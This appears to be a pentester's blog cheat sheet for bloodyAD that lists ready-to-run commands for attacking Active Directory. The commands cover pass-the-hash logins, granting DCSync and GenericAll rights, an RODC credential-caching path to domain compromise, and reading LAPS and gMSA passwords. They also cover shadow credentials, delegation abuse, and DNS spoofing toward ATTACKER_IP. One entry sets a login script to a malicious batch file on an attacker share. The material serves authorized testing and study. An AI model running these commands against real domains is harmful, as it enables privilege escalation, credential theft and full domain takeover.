Post

bloodyAD

bloodyAD

This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.


Installation

1
pipx install git+https://github.com/CravateRouge/bloodyAD

Authentication

  • User/Password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' ...<SNIP>....
  • Pass-the-Hash (PtH)
1
bloodyAD --host $IP -d lab.local -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>....
  • Kerberos (FQDN required -> example: DC01.lab.local)
1
bloodyAD --host $FQDN -d lab.local -k ...<SNIP>....

Enumeration

ACLs/DACL Enum

  • Enumerate object attributes where we have WRITABLE access (very useful for checking permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get writable --detail
  • Get all securityDescriptors of an object (very useful to manually enumerate the entire DACL list of an object searching for permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntsecuritydescriptor --resolve-sd

Domain Enumeration

  • Get all available information for a user
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER'
  • Get all critical information for a user
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
  • Get group membership for a user/group/computer
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr memberOf
  • Get a list of all members of a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get membership 'TARGET_GROUP'
  • Get a list of all users (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype useronly
  • Get a list of all groups (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype group
  • Get a list of all computers (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype computer
  • Get a list of all Organizational Units (OUs) (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype container
  • Get a list of all Trusts
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomain
  • Get a list of all accounts with an SPN (servicePrincipalName) assigned {Kerberoastable users}
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
  • Get a list of all accounts with the DONT_REQ_PREAUTH flag {AS-REP Roastable users}
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
  • Get the total available Machine Quota
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
  • Get the AD Forest level
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version
  • Get the domain minimum password length
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength

ACL & Object Attacks

  • Add a user to a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'
  • Add a cross-forest/cross-domain user to a group (Bidirectional Trust)

    Note: Imagine a bidirectional trust where users from lab.local can authenticate on moneycorp.corp. To add a user or group from lab.local (for example, gzzcoo) to a group in moneycorp.corp, you must point bloodyAD to the target Domain Controller (DC2.moneycorp.corp) but authenticate with the source domain (-d lab.local). Since objects from lab.local don’t natively exist in the target domain’s LDAP directory, you must use their SID from the source domain (lab.local). This SID can belong to any user or group in lab.local that you want to add to the target group in moneycorp.corp.

1
bloodyAD --host DC2.moneycorp.corp -d lab.local -u 'gzzcoo' -p 'password' add groupMember 'CN=TARGET GROUP,CN=USERS,DC=MONEYCORP,DC=CORP' 'S-1-5-21-854245398-3134732156-1229272821-4521'
  • Remove a user from a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' delete groupMember 'GROUP_NAME' 'MEMBER_TO_DELETE'
  • Make a user the owner of an object (Usually via the WriteOwner ACL)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'TARGET_USER'
  • Add ‘GenericAll’ (Full Control) permissions to an object
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add genericAll 'DN_TARGET' 'TARGET_USER'
  • Enable a disabled account
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE
  • Add DCSync permissions to an object
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
  • Add a malicious script to a user that executes upon login (scriptPath)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
  • Modify the UPN (userPrincipalName) for ADCS/UPN Spoofing attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'
  • Modify a user’s mail attribute
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' mail -v 'pwned@lab.local'
  • Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'
  • Create a new computer account
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'
  • Abuse CREATE_CHILD on an OU in Windows Server 2025 - dMSA (BadSuccessor)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add badSuccessor attacker_dMSA 
  • Modify a group’s scope/type (Bypass direct scope change restrictions)

    Note: Active Directory prevents direct conversion between certain scopes (e.g., from Global to Domain Local). To bypass this restriction, you must use a Universal group as an intermediate step.

Change to Security Universal Group (-2147483640):

1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483640

Change to Domain Local Security Group (-2147483644):

1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'CN=TARGET GROUP,CN=USERS,DC=LAB,DC=LOCAL' groupType -v -2147483644

RODC Attacks (RODC Golden Ticket)

With administrative control over an RODC (Read-Only Domain Controller) computer object in Active Directory (e.g., GenericWrite, GenericAll, WriteDacl, WriteOwner), there is a path to fully compromise the domain. By modifying the RODC’s Password Replication Policy (PRP) via the msDS-RevealOnDemandGroup and msDS-NeverRevealGroup attributes, an attacker can allow a Domain Admin’s credentials to be cached on the RODC, log in to the RODC, and dump the credentials.

  • Get original msDS-RevealOnDemandGroup values of the RODC object
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'RODC01$' --attr msDS-RevealOnDemandGroup
  • Add the target high-privileged user (e.g., Administrator) to the allowed replication group alongside the original values obtained previously
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=lab,DC=local' -v 'CN=Administrator,CN=Users,DC=lab,DC=local'
  • Clear or modify the msDS-NeverRevealGroup attribute to ensure the target admin is not prevented from replicating
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'RODC01$' msDS-NeverRevealGroup

Password Attacks

  • Modify a user’s password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'Gzzcoo123'
  • Read a computer’s gMSA password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_gMSA' --attr msDS-ManagedPassword
  • Read a computer’s LAPS password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Kerberos Attacks

  • Enable DONT_REQ_PREAUTH to make a user AS-REP Roastable
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH
  • Shadow Credentials Attack (requires PKINIT afterwards)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'
  • Add the TRUSTED_TO_AUTH_FOR_DELEGATION flag - Unconstrained Delegation
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION
  • Add the DELEGATE_TO flag - Resource-based Constrained Delegation
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'
  • Assign an SPN to a user to make them Kerberoastable
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/gzzcoo'
  • Remove the previously added SPN
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove object 'TARGET' servicePrincipalName

DNS Attacks

  • Check if we have permission to add DNS records; we can observe this using get writable --detail.

  • Query the system DNS records

1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump > dnsdump.txt
  • Create a new DNS record to perform DNS Spoofing attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'

Restore AD Objects

https://cravaterouge.com/articles/ad-bin/

  • Check if we have permissions to restore deleted objects (can also be seen with get writable --detail if we have ACLs over other users).
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'
  • Check for deleted users in AD
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid,description
  • Restore a deleted user in AD (you can use the GUID, SID, DN, or sAMAccountName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set restore 'S-1-5-21-3927696377-1337352550-2781715495-1110'

References / Useful Pages

This post is licensed under CC BY 4.0 by the author.